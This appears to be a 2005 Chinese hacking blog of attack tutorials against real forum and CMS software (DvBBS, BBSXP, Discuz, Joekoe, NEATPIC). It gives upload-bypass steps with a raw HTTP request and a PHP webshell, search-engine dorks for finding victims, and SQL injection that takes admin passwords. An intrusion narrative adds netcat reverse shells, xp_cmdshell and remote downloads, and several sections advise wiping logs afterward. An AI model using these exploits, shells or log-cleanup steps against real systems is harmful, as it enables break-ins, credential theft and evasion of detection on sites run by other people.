 
先简单介绍一下老兵的这个程序,界面如下图1所示:
图1
为了方便说明,我们对照DvBBS的UpFile.asp和Reg_upload.asp两个文件来说明(不一定要全部看懂,大概意思知道就行了)。UpFile.asp文件为存在上传漏洞的文件,而Reg_upload.asp文件为我们在填上图工具时用到的参数,也就是说,UpFile.asp这个文件在执行时用到的参数都是来自Reg_upload.asp文件中表单所提交的内容!
UpFile是通过生成一个Form表(在Reg_upload.asp文件中)来实现上传的。代码如下:
<form name="form" method="post" action="UpFile.asp" ...>
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上传" ...></form>

知识:其中用到的变量如下:
FilePath:默认值是Uploadface,即上传后默认的存放目录,属性Hiden;
File1:这就是我们要传的文件;
结合上面的代码,我们来填写上传工具
Action中输入存在上传漏洞文件的URL: http://target.net/bbs/UpFile.asp
UpPath里第一个文本框中的FilePath即为表单中的FilePath,也就是上传路径,等号后面填的是上传到对方服务器上的后门的名称/shell.asp;输入一个WEB程序允许上传的类型文本框中默认JPG就可以了(一般网站都允许上传JPG图片文件);File里第一个文本框中的File1即是表单中的File1,等号后面填写所要在本机上传的木马路径;Cookies中填上我们用抓取数据包工具如WsockExpert抓取的Cookies值,记住最好是你在系统中注册后的Cookies值。
 
刘流:用WsockExpert来抓Cookies有点小题大作,作者用的是一个叫Touchnet Browser的游览器,带有抓Cookies功能,使用起来非常方便,大家也可以考虑其它能抓Cookie的程序。
 
好了,“刀”我们已经磨锋利了,现在可以去砍柴了!实战开始,下面分别演示由ASP、PHP、JSP三种语言编写的脚本系统的上传漏洞
 
ASP系统上传漏洞
1.【动网论坛
DvBBS 7.0 sp2以下所有版本(本测试使用DvBBS 7.0 sp1版本)。由于动网的上传漏洞是最常见,也是大家最熟悉的,这里就不多介绍了。分别在程序中各框体内填上实际的数据,提交后等待就OK了!如图2所示。
Action:填入http://www.***.com/bbs/upfile.asp
UpPath第一个文本框填入:filepath;第二个填入:/cmd.asp(你也可以写/bbs/cmd.asp这样上传成功后就传到/bbs 目录下了!)
输入一个WEB程序允许上传的类型文本框中默认JPG就可以了
File第一个文本框输入:file1;第二个填入:D:\Hacktools\muma\cmd.asp(这个是cmd.asp这个后门在自己机器上的路径)
Cookies:是我用Touchnet browse这个浏览器抓的!其主要功能是用来验证!没有它会报错的噢!填好了!我们就点击“Submit”按键提交吧!!
图2
提交后用浏览器看一下是否成功,成功上传!如图3所示。
图3
后门介绍:用的是一个很老的后门,文本框中输入DOS命令”netstat –an”点运行后,就会看到本机都开了哪些端口,及与远程主机的连接情况了^_
 
2.【尘缘新闻系统】
尘缘新闻系统0.45 Finish以下版本(测试版本V1.0 ACCESS Finish)。先在Google里搜索关键词:V1.0 ACCESS Finish,会看到出现一大堆使用尘缘雅境系统的网站,而它们就是我们的目标了!
先来分析一下如何填写参数:比如说某网站首页是http://www.xx.com/asfq/index.asp,那么就要这样填写:
漏洞目录:/asfq/admin(注意一定要加上admin)
在Uploadface.asp中找相应的参数;Uploadface.asp中的如下表单:
<form name="form" method="post" action="uploadfaceok.asp" enctype="multipart/form-data" >
<input type="hidden" name="CopyrightInfo" value="http://www.chinaasp.com">
<input type="hidden" name="filepath" value="../uploadfile/face/">
<input type="hidden" name="act" value="upload"><input type="file" name="file1" size=10 title="类型:jpg,gif,png,bmp,限制:200K">
<input type="submit" name="Submit" value="上传" >
参数的填写方法类似动网的!
提交数据,成功后结果如图4、5所示。
 
图4
图5
后门介绍:用的是动鲨的一个网页木马,执行DOS之前,你还要把c:\winnt\system32\cmd.exe上传到与网页木马相同的目录下,否则命令是不会执行的!很多网站做了安全策略,利用上例的木马DOS命令不能执行,有时利用动鲨的这个asp木马就可以执行一些DOS命令了!
小提示:漏洞文件一般不用改,不过有些老版的尘缘系统的漏洞文件是Uploadok.asp,如果Uploadfaceok.asp不成功再改成Uploadok.asp。

 
3.【动感下载系统】
动感下载系统XP专业版 v1.3 Build 0112及以下版本。在百度里搜索:SoftView.Asp?SoftID=,找到N多套系统。在它的Upload.asp中存在如下表单:
<form name="form" method="post" action="UpFile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="../upload200409">
<input type="hidden" name="act" value="upload">文件位置:
<input type="file" name="file1" size="38">
<input type="submit" name="Submit" value="上传" onclick="parent.document.myform.Submit.disabled=true,parent.document.myform.Submit2.disabled=true;"> <br>文件类型:gif/jpg/zip/rar,大小限制:3000K</form>
有功底的朋友大概都看出来问题了吧?这里文章不是分析具体漏洞的,也就不做详细讲解了,新手朋友们就直接先按下面的参数提交成功后再来慢慢研究具体的漏洞吧!如图6、7所示。
图6
 
图7
后门介绍: _blank>冰狐浪子微型ASP后门,非常小的一个后门仅一句话,也可插在别的网页里面,它把常用功能集成到一起,写入存在的文件、环境探测、磁盘信息、搜索网络邻居共享
小提示:在百度里搜索:SoftView.Asp?SoftID=找到的版本是Access版的程序,如果搜索/SoftView/SoftView,找到的是SQL版的程序。
 
4.【Dxxo论坛
Dxxo论坛2004年1月发布版。它的Uploadface.asp文件中存在如下表单:
<form method="post" action="upload.asp" enctype="multipart/form-data" name="form2" class=tdc >
<input type=file name="file1" size="40"  class=bdtj>
<input type="hidden" name=" uploadfacey" value="uploadface/">
<input type="submit" name="submit" value="上 传" class=bdtj></form>
这里和前面的漏洞有点不同,UpPath 第一个文本框中要改成Uploadfacey而不是上例中的FilePath,Cookies的值要注册后抓的值,不然无法成功!具体参数如下图8,9所示。
 
 
图8
图9
 
后门介绍:一个很不错的木马,可以让你在目标机器上写文件!在保存文件的绝对路径下的文本框中输入目标机器上木马的存放位置和文件名,绝对路径下面已经给出来了!我们可以参照着它写在输入马的内容中复制上木马的内容!点保存就OK了!
小提示:这里不要管图8左边文本框出现的上传成功后显示的文件名(下划线部分):
<script>parent.form1.f3_content.value+='[uploadimg]fyzw_2004926201636.jpg[/uploadimg]'</script>test.jpg(1162)上传成功!没有看到test.asp,没关系只要直接在浏览中直接输入WebShell的地址访问就可以得到后门了(如图9所示): http://www.ri*an.cc/bbs/uploadface/test.asp
5.【天意商务网】
天意商务网3.6、3.7版。在百度中搜索“天意商务网”,会找到很多装有天意商务网的站点。它的Add.asp文件中存在如下表单:
<form method="POST" action="zs_save_add.asp" name="Form1" nctype="multipart/form-data">
<input type="hidden" name="filepath" value="../../picture/">
<INPUT type="file" class="f11" name="file" size="33"title=上传产品图片资料不能大于200K。(要求:250×250像素)>
这里也有一点不同,File的第一个文本框中要输入file,“zs_save_add.asp”的确切位置是:“manage/spzs/zs_save_add.asp”,而且成功后也没有出现“上传成功”的对话框!参数如下图10、11所示:
10图
图11
后门介绍:带有名字,密码,认证,可以把它伪装成一个后台管理界面,而且功能也很多。
小提示:天意商务网系统有一个变量ID过滤不严,利用NBSI2很容易注入!!
【乔客论坛
所用版本:Joekoe V6.0。这个是我在做实验过程中用时最多的一个,因为参数太多,开始实验时总是报参数错误。
首先来看如何找到我们用的表单:
在浏览中输入http://www.zr1*3.com/user_put.asp?action=gallery(别忘了登录噢!)然后查看源文件内容:
<tr><td>上传图片:</td><td><iframe frameborder=0 name=upload_frame width='100%' height=30 scrolling=no src='upload.asp?uppath=gallery&upname=g2004927110356&uptext=pic'></iframe></td></tr>
表单存放在upload.asp?uppath=gallery&upname=g2004927110356&uptext=pic中了!
其次在表单中找参数:
在浏览器中输入:http://www.zr1*3.com/upload.asp?action=gallery&upname=g2004927110356&uptext=pic'查看其源文件内容:
<form name=form1 action='?action=UpFile' method=post enctype='multipart/form-data'>
<input type=hidden name=up_path value='gallery'>
<input type=hidden name=up_name value='g2004927110356'>
<input type=hidden name=up_text value='pic'><tr>
<td><input type=file name=file_name1 value='' size=40></td>
<td align=center height=30><input type=submit name=submit value='点击上传'>
注意:在Action中输入http://www.zr1*3.com/upload.asp?action=UpFile;UpPath第一个文本框中输入:up_name,第二个中输入上传后的SHELL名称test.asp;File 第一个文本框中输入file_name1;参数如下图12、13所示:
                                          图12
图13
后门介绍:用的是血汉个人美化版!此木马功能非常多,可算是木马中的精典!第一:就算你得到了源代码也看不到明文的密码!第二:具有浏览,上传,下载,复制,删除,执行DOS命令,执行SQL命令,查看系统配置及nfso功能!
小提示:http://www.zr1*3.com/upload.asp?action=UpFile,以参数action=UpFile一定不能丢啊!!如图13所示,后门所在路径为:upload/othe㈡:PHP上传漏洞
测试程序:NEATPIC PHP目录直读版 1.2.3(开入了上传图片功能)
当PHP程序有指定PATH时,在PATH文件后门加入%00可以上传任意文件.
在百度里搜索“NEATPIC PHP目录直读版 1.2.3”你会找到很多装有此程序的站点!
第一步:用WsockExpert抓包
POST /index.php?action=upload HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*
Referer: http://mycol.51*j.com/index.php?path=.
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d425237102f4
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: mycol.51*j.com
Content-Length: 982             //修改后为994,“/test.php%00”为12个字符
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=58894c5616b85eb6a93dcef949233176
-----------------------------7d425237102f4
Content-Disposition: form-data; name="path"
.      //修改后为“./test.php%00”
-----------------------------7d425237102f4
Content-Disposition: form-data; name="image"; filename="D:\Hactools\muma\upload.php"   
//修改后为:"D:\Hacktools\muma\upload.gif"
Content-Type: text/plain
<?php
$action4="";
$remotefile="";
$localfile="";
if(isset($HTTP_POST_VARS['action4']))
{        $action4 = $HTTP_POST_VARS['action4'];
}if(isset($HTTP_POST_FILES['UpFile1']))
{        $remotefile = $HTTP_POST_FILES['UpFile1']['tmp_name'];
        $localfile = $HTTP_POST_FILES['UpFile1']['name'];}
if($action4)
{        copy($remotefile,$localfile);
        unlink($remotefile);
        echo "upload file successfull";}
{?>
<form method="post" action="" enctype="multipart/form-data">
<input type=file name="UpFile1" value="" size=40><br>
<input type=hidden name="action4" value="upload"><br>
<input type=submit name="submit" value="Upload">
</form><?}?>  
-----------------------------7d425237102f4--
第二步:修改
在“。”后面加上“/test.php%00”,为12字符,所以982要改成994,把cmd.php改成cmd.gif保存文件为test.txt后退出!
第三步:NC提交
nc –v  www.mycol.5**j.com 80 <test.txt执行结果如图14

图14
在浏览器中输入:http://mycol.51*j.com/test.php我们的上传功能的SHELL出来了^_^如图15

                                     
                   图15
                                                                                  
后门介绍:因为用NC上传时为保证成功率,所以自己编了一个仅能实现上传功能的短小木马;利用它你可以把安全天使angle写的一个经典PHP木马――phpspy上传上去!
㈢:JSP上传漏洞篇:
一天无意中进了一个论坛,还是JSP编的来!注册一个用户后,在发表新文章里和修改个人资料里面均没有上传功能,然而在回复贴子时,有上传附件功能!于是在网上找了个JSP的SHELL(JSP网页木马3.0)上传后出现如图16错误:

图16
如果把“Content-Type: text/plain”改成“Content-Type: image/jpeg”能不能上传呢?用WsockExpert抓包,把数据存到记事本了,然后把“text/plain”改成“image/jpeg”存盘退出,用Nc提交:nc –v www.***.com 80 <jsp_UpFile.txt结果如图17:


                 图17
在浏览器里输入:_1096291342664.jsp?cmd=id">http://www.***.com/bbs/upload/image/4368_1096291342664.jsp?cmd=id如图18所示:


                 图18
哇噻!!还是ROOT权限来,让俺想起了范伟说的一句说:“大哥,甭说了,啥也不用说了”该怎么办自己看着为吧!
后门介绍:用的是JSP网页木马3.0;带一个参数CMD,如上图所示在“=”号后面加上要执行的命令就OK了!
目前,存在以上漏洞的系统还很多,利用此文章造成什么后果,与作者和黑防无关,特此声明!r/test.asp

- 作者: 古典辣M° 2005年05月9日, 星期一 05:24  回复(0) |  引用(0) 加入博采

BBSXP 完全版轻松搞定众多BBSXP论坛
和朋友LLIKZ研究了一下BBSXP论坛,发现它有几个地存在注入漏洞,为此专门写了一个工具,一好友美其名日BBSXP完全版。说完全,其实并不完全,有些功能还没来的及加,就先这样叫着吧!
首先工具的使用要满足两条件:
一、论坛存在blog.asp这个文件。
二、在blog.asp这个文件后面加上参数id=1 或id=2存在网络日志。更具体点说5.13,5.15两个版本非常合适(最有名的BBSXP论坛都被搞定过噢^_^)。
接下来结合具体实例给大家讲解一下工具如何使用。我们在百度或Google中搜索Powered by BBSxp 5.15会搜到很多站点!根据它的版权提示这个地方我们可以看判断它是什么版本的,如Powered by BBSxp 5.15/Licence则它是以Access为数据库的,以后简称Access版;如Powered by BBSxp 5.15 SQL/Licence则它是以Mssql数据库的,以后简称Mssql版。如图1所示:

                                 
网址如上图所示,别忘了blog.asp后面还带有参数!级别:5代表社区区长,4代表管理员(斑主,普通用户也有代号,因获得他们密码无多大用处,故没加入)用户名填入要爆的人的用户名就可以了。通常都打开http://www.***.cn/bbs/adminlist.asp管理团队的页面,查看社区区长和管理员的信息。只有在爆某一用户的密码时,级别和用户名才填入,如爆后台密码这两个输入框是不用填写的。点击后台密码如图2所示:后台密码就出来,能不能爆出来就看你运气了
点用户密码如图3所示,管理员webmaster的密码就出来了

                                   
如果你运气好的话,爆出后台密码,进入后台以后,可以通过两种方法上传SHELL,一可以通过修改论坛的设置,在上传类型里填加上asa这样就可以上传asa的木马了。二可以通过背份数据库的方法,提前在论坛上传jpg图片附件,然后在后台把它背份成后缀名为asa的shell。(注:默认数据库http://www.***.com/bbs/database/bbsxp.mdb有时候也能用的上噢!)
接下来说说如何对SQL版的进行上传SHELL,要饭的曾写了一个工具直接修改上传类型,然而工具一发布现在有很多的论坛都已经关了这一功能!如图4所示:

网址输入与图4类似http://www.***.com/bbsxp/blog.asp?id=1,用过NBSI的朋友都对特征码有一定的了解吧,我们输入网址http://www.***.com/bbsxp/blog.asp?id=1 and 1=1 和http://www.***.com/bbsxp/blog.asp?id=1 and 1=2 对比两个页面的不同之处,来提取特征码。有了网址和特征码,点一下“后台密码”按钮,喝杯荼一会儿密码就跑出来了(因为是32位密码,在这里设置一变量j,当跑出4位密码时会给你一个提示,如图4所示当看到j=1 是密码全部跑出,如果你运气好或很有时间也可以跑一下,下面介绍如何不跑密码来上传SHELL)如何来社区区长或管理员的密码呢?这可是关键啊!进入管理团队的页面http://www.lyxh.com/bbsxp/adminlist.asp 我们随便找一个用户,查看它的详细资料,如果他是社区区长的话,你在用户级别是填入5,如果是管理员就填入4,登录次数和删除原贴这两个输入框主要目的是用来定位是哪一位用户的,如果只填入一个数字就可以确定这个用户,最好不填入两个,当然全填也可以!如图4所示填好以后就可以按“用户密码”按钮来爆用户密码了!
有了社区区长或管理员的密码我们就可以通过来执行SQL语句控制整个论坛数据库了!(当然也可以挂马了)如图5所示:
                                                         图5
在MSSQL版__执行SQL语句功能部分:网址如图5所示
http://www.***.com/bbsxp/manage.asp 贴子id可以输入论坛上任何一个贴子的id,SQL语句:update [user] set membercode=5 where username='awhy'(我把我注册的用户awhy改成了社区区长,注:如果你的用户名是中文名请在最后多加一个单引号如username='勇哥儿'')MD5密码:输入上面我们爆出来的用户密码,区长或管理员:输入对映MD5密码的用户。点击执行后如果你看到“恭喜终于成功”提示框表示语句执行成功!同时在ACCESS版的返回框中,返回SQL语句执行后的网页返回信息,有助于排除错误!执行SQL语句:
update [user] set usermail=(select adminpassword from [clubconfig]) where username='awhy'(把后台密码放入我的个人资料EMAIL里)执行以上两个语句后如图6所示,awhy已成了社区区长,EMAIL已改成了后台的密码

                                
把后台密码换成我注册的用户名awhy的密码:update [clubconfig] set adminpassword=(select userpass from [user] where username='awhy')现在我们就可以利用我的密码登录后台http://www.lyxh.com/bbsxp/admin.asp了,进入“设置管理”à“社区基本管理”打开上传功能,加入上传类型asa如图7所示

                                     哈哈,这样我们就可以发表新帖上传自己的后缀名为asa的SHELL了!!先不要忙着高兴先来清理清理战场:
1、  关闭后台上传功能,改回原来允许上传文件的类型。
2、  还原后台原来密码update [clubconfig] set adminpassword=(select usermail from [user] where username='awhy')
3、  删除掉进入后台的日志delete from [log] where username='awhy'
4、  删除掉在论坛注册的用户delete from [user] where username='awhy'
至于得到SHELL如何进一步,这里就不多讲了,闪人噢!还有什么好的方法希望高手指教

- 作者: 古典辣M° 2005年05月8日, 星期日 07:15  回复(5) |  引用(0) 加入博采

黑防实验室第五轮前二关过关功略
这篇文章已在黑客防线05年第二期杂志发表。
各位黑迷终于盼到这一天了,有的朋友还埋怨为什么正好赶上我考试的时候,这是哪一天呢,2005年1月15号一个隆重的日子——黑防第五轮实验室开放了!鼓掌,哈哈!
第五轮攻防实验室第一关:爆破Serv-u密码http://219.237.81.46/415b8d4f6ece169d一看这就是个MD5加密了,注意下面的提示:(提示:16位加密,包含数字、特殊字符、小写字母,共11位。发挥你的想象力,其实不用爆破。)
方法一直接猜法:一开始看到后我也没猜出正确答案来 ,根据黑防第一期上说第二关是个动网论坛哪打开的网页的后四位应该就是“.asp”了吧!在动一动脑筋想想,老独不可能把所有的关都放到一个目录下了吧,应该是一关一个目录吧!哪这里就应该包函一个“/”吧,动网论坛的默认文件是“index.asp”到这里已经有10个字符了,还差一个,这是第二关啊,应该有个“2”吧!如果看了老独的“第五轮第1关特别提示!“注意到这一点,第二关中国有这样的写法“d2g”也能猜到有个2,这样结合起来就是“2/index.asp”。
方法二猜测+爆破法:猜测有时没哪么好的运气,猜出里面有“.asp”,“2”,“ /”应该没问题,不知道他们是如何排列组合的了,然后偶就用字典专家做了一个500M左右的字典,用MD5CrackSp V2.3速度增强版,爆破!如图1


                     图1
第五轮攻防实验室第二关:如果你看了黑防第1期的话,大体思路就有了在后台背份数据库的地方背份shell,关键是如何得到密码呢?前台的密码是什么,后台的密码又是什么呢?弄了两个QQ交流群,可惜偶想进的话已经满了,里面可以得到很多好消息的噢,没办法只好到黑防论坛上去看了http://www.hacker.com.cn/newbbs 有如下提示,第二关,难度在那里呢?其实前几关都不难。。。。提示如下:
1。如果你经常入侵,或者经常按黑防书上的提示玩,相信会发现国人的密码设定很有规律。2。如果你看了1期杂志,应该能发现上面有明显的过关思路提示——不是叫你发现dvbbs漏洞!——发现了当然欢迎。
3。问题在那里呢?已经有人获取了前台密码,那后台呢?那数据库呢?
4,数据库后缀是mdb,不是asp。
5,最重要的一点:本次活动是黑客防线攻防实验室第五轮……
登录论坛注册一个用户“勇哥儿”,第一点应该先看看管理员叫什么名字了,hacker是管理员,如果你装过动网论坛的话初始管理员用户名:“admin”密码: “admin888”现在是hacker能不能试试hacker888呢,运气正确啊!前台进去了,在试试后台看看,密码不正确。哪根据上面老独在论坛上发的提示,还是猜猜数据名吧!(老独猜对了,前十名有奖吗?哈哈,明天就去买个彩票)我想起了第四轮黑防的一些密码:hacker@game,doyoulikecs应该是都有规律的,在上面的五条提示里发现了这个的单词“dvbbs,asp,mdb”管理员叫hacker前台密码还是hacker888,“hacker”这个单词,数据库应该有吧!话也说回来了这们这是玩的什么游戏呢?黑客游戏当然应该有“hacker”,因些又做了一个字典,包括如下字符的组合“hacker,game,@,dvbbs,.mdb”,一开始没猜出来,后来听一个朋友说里面可能有一个特殊字符,包括了特殊字符做了个字典。制作和猜解方法如下:
第一步:建一个文本文件a.txt 里面只包括www.54nb.com(没办法要不然小竹的后台猜解不能用,字典第一行必须是www.54nb.com)
第二步:上面制作的字典文件名是b.txt ,执行如下命令:
copy a.txt+b.txt Dict_Admin.txt
第三步:打开NBSI->扫描及工具->后台管理地址扫描,扫描地址里面填上:
http://219.237.81.46/2/data/ 扫描结果如图2:


                   图2
具体地址是:http://219.237.81.46/data/hacker-dvbbs.mdb 下载后发现后台密码是df0f25a548eb91ec哪就在爆破这个吧!根据前台的密码是hacker888 因此偶也做了一个由hacker和三位数字组合的字典,方法如过第一关中的方法二,结果如图3所示:


                   图3
进后台上传SHELL了,可别忙了先把个带有木马内容的图片先上传上去啊!背份成功如图4


              图4
在d:\www\2\目录下发现“第三关地址”这样一个目录,进入并打开其中文件内容如图5:


               图5
根据d:\www\2\第三关地址\ur1.txt内容发现存在“up-power”目录,然后在木马的路径栏 里输上d:\www\up-power\,哈哈第三关的内容出现了(虽然老独在IIS里面做了设置,在地址栏里输上d:\www什么都看不到,但是如果我知道了路径内容就会显示出来了!!)利用同样的方法第四关内容如图6所示:


             图6
依次类推,顺藤摸瓜,前五关就搞定了!当然你也可以利用黑防05年第1期上说的方法来,这样更能锻炼技术!

- 作者: 古典辣M° 2005年05月8日, 星期日 07:09  回复(0) |  引用(0) 加入博采

将DISCUZ论坛进行到底
自从04年第10期孟兄一篇《再爆Discuz!漏洞》,使Discuz论坛在受重创,佩服孟兄的话就不多说了!珍对这个Discuz2.2F偶也想在唠叨几句!
一、再谈注入漏洞
具体原理孟兄已经说了,angle也做了详细的分析,偶在这里就不多说了。先谈谈利用取回密码功能,第一步在用户名和EMAIL里分别填上管理员的名称和EMAIL,提交后他的信箱中就会收到类似如下的一个超链接:论坛要开启邮件功能噢">http://www.***.com/bbs/member.php?action=getpasswd&id=XtbpHpxTvcvbI6U4yMIT( 提交后id的值就存放在字段pwdrecover中,还有个前提论坛要开启邮件功能噢!)看到“id”后面这20个字符了吗?如果我们知道了这20个字符就可以构造类似上面的语句来改管理员的密码了!我们怎么才能知道它呢,就是利用孟兄发现的变量emailadd存在注入漏洞,我们可以在浏览器里提交特殊语句来猜测!
http://www.***.com/bbs/register.php?emailadd=and ord(substring(pwdrecover,1,1)=55 and uid=1&doublee=1如下出现如图1所示,表示猜成功!!
图1
如图示2所示表示猜测未成功!!
图2
你可要有心里准备啊!因为你不可能有那么好的运气,所以会建很多管理员用户
二、再谈上传SHELL
在谈进入台后如何上传SHELL,孟兄的方法偶就不在缀述了!ANGEL有个方法也不错,进入后台,在数据库升级那里输入:
INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`)
VALUES ('', '0', '', '', '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', ''); 然后备份数据库为php结尾。把数据库的名字为:upfile.php
再写一个本地上传的表单:
<form ENCTYPE="multipart/form-data" ACTION="http://www.***.com/bbs/forumdata/upfile.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit"></form>
我们现在来提交表单,然后把phpspy.php上传上去。
然后访问地址:http://www.***.com/bbs/forumdata/phpspy.php,(哈哈,一个经典的后门就上传上去了!)
三、说说暴路径漏洞
Discuz2.2F存在暴路径漏洞,由于程序员的疏忽在文件styles.php中少了if(!defined('IN_DISCUZ')) {exit('Access Denied');}所以你在浏览器中输入http://www.***.com/bbs/admin/styles.php时会暴出路径,如图3:

图3
不要小看这个漏洞,我们可以大体猜测它用的是什么系统以及用的什么PHP运行环境,一般LINUX、UNIX都用APACHE服务器!
四、聊聊上传漏洞
经过多次测试发现,要想利用上传漏洞需满足以下两个条件:
一、能上传附件
二、LINUX+APACHE
php的文件在上传后会改成_php文件,然而_PHP文件是不能执行的,但是如果我们在php文件后缀名后再加一个. php如:phpspy.php.php上传后就变成了iTcs_phpspy.php._php奇怪的是iTcs_phpspy.php._php能在以上环境下执行!!(iTcs是程序自己加上的,也是随机产生的,上传后文件会保存在attachments目录下),我们怎么才能猜到这四个随机字符呢!无奈之下只能用暴破法了(注意:LINUX+APACHE是区分大小写的,又给暴破曾加了难度)。小技巧:为了增加命中率,我们可以多上传附件,数量当然是多多益善了。
首先制作字典,利用工具是“字典专家”,选择密码段数为5,输入出密码档为c:\Dict_Admin.txt,前四段你自己选择了,这个第五段我用的是特殊字符@,点生成按钮,一个临时字典就生成了,如图4
打开Dict_Admin.txt在第一行前添加www.54nb.com(不要怪偶,不是在这里给54NB做广告,偶也是有苦中啊,不加字典不运行啊),_phpspy._php">然后利用查找替换功能把@替换为_phpspy._php,这样字典我们就做好了!
其次利用NBSI来扫描,把刚才的字典文件Dict_Admin.txt覆盖掉NBSI目录下的同名文件,找开NBSIà扫描及工具à后台管理地址扫描,在扫描地址中输入:http://www.***.com/bbs/attachments/ 然后开始扫描行不行就看你的运行了。
最后一步开始睡觉,第二天起来一看运气还不错,如图5

图5
真的不错找到一个(上传百十个附件,真不容易总算命中一个^_^),运行一下看看如图6

图6
顺便在提醒大家一下,得到WEBSHELL后,加忘了把forumdata目录下的cplog.php和illegallog.php两个文件清一下(别忘了那么多垃圾附件啊)就算你用一重代理,你的真实IP也会记录在案的噢!(多重偶没试过) 唠叨的口都干了,舌头打弯都别扭了,头发都要立整了,眼皮都要打仗,说啥也不说了,以后在聊

- 作者: 古典辣M° 2005年05月8日, 星期日 07:08  回复(1) |  引用(0) 加入博采

记一次艰苦的入侵
04年不平凡的一年,各种漏洞相继发现,各种入侵技巧也应运而生,原本固若金汤的机器,在新的漏洞面前,也变的弱不禁风。牛人发现并编写的Serv-u的溢出程序,为提升系统权限大开方便之门,NBSI把SQL注入发挥的淋漓尽致,PHP注入也日趋成熟,哪位怪才发现的上传漏洞在很多脚本中也都花样倍出,像DV,DZ等等大名鼎鼎的论坛也是漏洞叠报,数家著名公司被敲诈,黑客组织也是明争暗斗,虚拟主机也饱受旁注困扰。攻与防就像矛与盾,从某种意义上来说,攻就是防,防就是攻!
“千里之堤,溃于蚁穴”,一个小小的漏洞就可以攻克一台机器,甚至占领整个内部网络。本文以一台机器为突破口,然后如何利用内网其它机器做跳板,最后控制目标机器(如果说利用一台机器上的某个站点来控破渌镜憬兄苯优宰⒌幕埃枷氚牙猛煌谧钊醯囊惶ɑ鳎创锏娇刂谱钋康幕鹘形式优宰ⅲ壬溉肭峙季踝藕锰悖涫捣椒ê芏嗯H嗽缬美昧耍荚谡饫锵殖罅耍?/DIV>
一、通过SQL注入漏洞,反向连接数据库机器。
利用NBSI扫描发现存在SQL注入漏洞,而且还是SA权限,如图1

                                   图1
利用NBSI的DOS执行命令,输入ipconfig –all 发现网址与WEB服务器不同,但是从网关上来看是在同一网段内。执行netstat –an查看数据库服务器所开的端口,发现很多1433端口都是WEB服务器连接,21,23,80端口没!利用NBSI的浏览目录功能,没发现机器上存在PCANYWHERE和SERV-U(利用它们可以远程控制,提升权限,或猜测口令)。利用net start 命令没发现如瑞星,KV等杀毒软件或_blank">防火墙服务,然后利用HSCAN1。2和NMAP3。7扫描数据库服务器的外网IP进,竟然没扫到一个开放的端口!(估计机器上装了硬件_blank">防火墙!)对付_blank">防火墙,偶想到了反向链接,在本地开了一个TFTP,利用命令, tftp –I ip get nc.exe 很幸运的上传了一个NC上去,利用同样的方法也上传了一个MT。EXE(MT.EXE是一个网络管理方面的软件,依照yy3的说法,也就是 "七拼八凑来的,纯粹是图个方便。"可是这个方便个真的是太方便了,仅40K的一个程序,但是集合了近四十种的命令于一身)上去。也可以利用FTP命令,把FTP命令用ECHO命令写进一个文件里面,最后在用FTP –S:FILENAME来实现文件的载。在本机利用NC监听66端口,命令如下:NC –L –P 66 ,远程机器上执行:NC –E CMD。EXE  IP  66不一会儿,一个SHELL就出来了(还是在这里面运行命令爽啊,在NBSI里憋死了,有时在NBSI里执行命令时会出现“意外数据”,还要被破在游览器里执行_cmdshell%20'dos">http://www.***.com.tw/***/***.asp? mode=1&ID=256;exec%20master..xp_cmdshell%20'dos command';--)利用net view  命令查看共有三台机器!如图2

                                     图2
[NextPage]
 
在利用命令:NET VIEW \\机器名  时得到的内容为空,看来是没共享目录啊!
二、上传反弹、监听木马显奇功。
利用MT。EXE –SYSINFO命令显示出数据库服务的系统信息,网卡信息,配置信息,和所安装的软件信息。如图3(只截了系统信息)

图3
是WIN2003怪不得用MT –FINDPASS命令没显出密码来,它只显示的2K的密码。利用命令mt –netget http://www.***.com/findpass2003.exe(mt -netget <url> <filename to saved>       ---Download from http/ftp.)下载到本地一个看WIN2003密码的软件!!运行findpass2003.exe后没有在内存中找到密码!(看来的想办法让管理员登录了!哈哈)
运行命令: mt –netget  http://www.***.com/hacan120.rar  hscan.rar 下载一个HSCAN1。2进去,利用同样的方法又下载进去一个UNRAR。EXE然后执行命令:unrar.exe x hscan.rar 这样就把HSCAN。RAR解压到HSCAN目录当中了!可以利用HACSN1。2版本的DOS命令进行内网扫描,命令如下:hscan -h www.target.com -all –ping扫完其余两台以后没发现任何弱口令,但发现它们在内网中开了很多端口,如:21,80,135,139,3389 等
注意:HSCAN扫描完了以后,会生成报告,自动用浏览器打开,应该利用MT –PSLIST  和MT –PSKILL把这个浏览器关掉!
即然开了3389能不能利用端口重定向,把它定向到数据库这台机器上呢,经过实践利用mt -redirect <TargetIP> <TargetPort> <ListenPort>   ----TCP port redirector. 和利用FPIPE都没有成功(定向后,用NETSTAT –AN命令看是端向成功,但是在外网还是没法访问)哪数据库这台机器能不能利用带反弹型的图形木马来控制屏幕呢?实践证明利用神气儿,灰鸽子,溯雪都失败了!看来只能装DOS版的后门了,哪试试APR欺骗如何?因在DOS下没法安装图形界面的WINPCAP,所以ARPSINFFER。EXE无法运行!(后来自己做了一个DOS版的)
这台机器上除了操作系统,数据库,WIN2003补丁外什么都没装,难道真的就没有办法了吗?这时偶想到了一个木马,一个女黑客编写的,即有反向连接功能,又有监听功能,是什么呢?聪明的朋友,你猜到了吗?她就是大名鼎鼎,如雷贯耳,威名远波,无所不知的WOLLF(偶好喜欢她啊! 哈哈)运行WOLLF –SETUP后做一个反向链接的木马,偶选择的是反向链接所取的IP放在一个HTTP空间的文件中!制作好后,同样利用MT。EXE –NETGET命令下载到数据库服务器当中,运行后,它会自动向你的HTTP空间中存放的文件中去取反向链接的IP和端口,这时你可以在本机上用NC –L –P PORT 慢慢等待,一会以后,反向连接成功了,输密码进入吧!如图4

 
                                 图4
[NextPage]
 
